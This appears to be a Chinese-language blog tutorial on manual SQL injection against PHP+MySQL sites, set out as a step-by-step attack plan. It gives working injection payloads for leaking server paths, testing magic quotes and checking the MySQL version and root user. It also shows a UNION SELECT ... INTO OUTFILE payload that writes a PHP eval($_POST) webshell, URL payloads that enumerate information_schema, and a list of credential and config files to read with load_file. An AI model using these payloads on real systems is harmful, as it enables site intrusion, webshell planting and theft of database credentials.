PHP+MySql手工注入的***思路

php+mysql的注入 已經流行了就久,可團隊中卻還沒有關於php注入 因此也就有我寫這篇文章的動力了,同時我會結合一些自己平時的經驗,希望能夠讓大家對php注入 有個更加深刻的理解。

***的前奏
假設我們的注入點是http://www.online-tools.cn/test.php?id=1
(1)
爆物理路徑
1
這時通常我們在後面加個非法字符(比如單引號等等),很有可能會爆出物理路徑
2
通過訪問沒有變量的地址,如http://www.online-tools.cn/test.php
3
同過搜索引擎搜索站點,如site:www.online-tools.cn 有幸的話也能獲得物理路徑
4
直接訪問數據連接文件
這幾種方法是我常用,當然你有其他的方法,這個主要靠大家收集,有好的方法希望大家也可以告訴我下,讓我也學習下,呵呵
(2)
魔術引號開關magic_quotes_gpc
這個用pangolin基本上都可以猜出來,其實我們完全可以在注入點後加 and '1'='1'/* 放回正常表明GPC關,否則表明GPC
原理分析: GPC開啓時,會對' 進行轉義,使其變成 \'
select * from online-tools where id=$id ---
經過php轉義後---> select * from online-tools where id=1 and \'1\'=\'1\'
而在mysql不支持\'的符號,所以and後面語句爲錯,即該句查詢錯誤,所以頁面會放回錯誤

(3)
判斷mysql版本和數據庫權限
條件1 and ord(mid(version(),1,1))>51/* 判斷版本號,只用大於51的話就才能使用union聯合查詢
條件2 and ord(mid(version(),1,1))=53/* 判斷mysql是否爲5.0,因爲5.0可以使用 information_schema 系統數據庫
條件3 and ord(mid(user(),1,1))=114 and ord(mid(user(),2,1))=111 and ord(mid(user(),3,1))=111 and ord(mid(user(),4,1))=116 /* 判斷root用戶權限

***方案制定
1
如果(1)物理路徑知道 (2)中的魔術引號開關 (3)中的條件1 & 條件3 均滿足,這時完全可以直接導出一句話*** id=1?and 1=2 union select 1,2,<?php eval($_POST['#']);?>,4,5 into outfile '/online-tools.cn/shell.php'/* (最好將一句話***變成16進制形式)
2
如果(2)中的魔術引號開關 (3)中僅條件(1)滿足,
這時候只能通過order by 字段數 /* 猜字段數,然後用union select猜管理員表,猜字段,然後窮爆內容,並尋找後臺登陸
(注:這中情況注入工具(pangolin)不好使,大家可以編寫個php腳本來輔助猜表和字段)
3
如果(1)物理路徑知道 (3)中僅條件3滿足,
可以用load_file函數查看文件源碼,尋找敏感信息和管理後臺,登陸後臺上傳上傳webshell 防黑網
(
注:load_file其實並不需要root權限,有時候普通用戶也能用該函數,這主要看管理員的配置)
常用的配置文件路徑如下
Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2
缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //
虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP
相關設置
/etc/sysconfig/iptables //
從中得到防火牆規則策略
/etc/httpd/conf/httpd.conf // apache
配置文件
/etc/rsyncd.conf //
同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //
查看IP.
/etc/my.cnf //mysql
的配置文件
/etc/redhat-release //
系統版本
Windows
c:\boot.ini //windows
系統特有的配置文件
c:\mysql\data\mysql\user.MYD //
存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //
存儲了虛擬主機www.zzfhw.com網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL
配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS
配置文件
等等....
其實還有其他很多文件,這個需要自己平時收集和積累,當然有時也需要根據網站所採用的系統來決定
4
如果(3)中僅條件2滿足
這時候我們也只能通過order by 字段數 /* 猜字段數,然後用union select猜管理員表,猜字段,然後窮爆內容,並尋找後臺登陸,不過此時我們可以藉助mysql5.0的特性直接猜表:
http://www.online-tools.cn/test.php?id=1%20union%20select%201,2,SCHEMA_NAME%20from%20information_schema.SCHEMATA%20limit%208,1/*
遍歷庫

http://www.online-tools.cn/test.php?id=1%20union%20select%201,2,TABLE_NAME%20from%20information_schema.TABLES%20where/**/TABLE_SCHEMA=
數據庫的16進制值%20limit%208,1/* 遍歷表

http://www.online-tools.cn/test.php?id=1%20union%20select%201,2,COLUMN_NAME%20from%20information_schema.COLUMNS%20where/**/TABLE_NAME=
表名的16進制%20limit%208,1/* 遍歷列名

通過這些信息最後我們就可以直接爆出數據了,當然這種情況我們可以直接用pangolin來猜,主要pangolin有時猜不全,這時我們就只能求助於手工了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章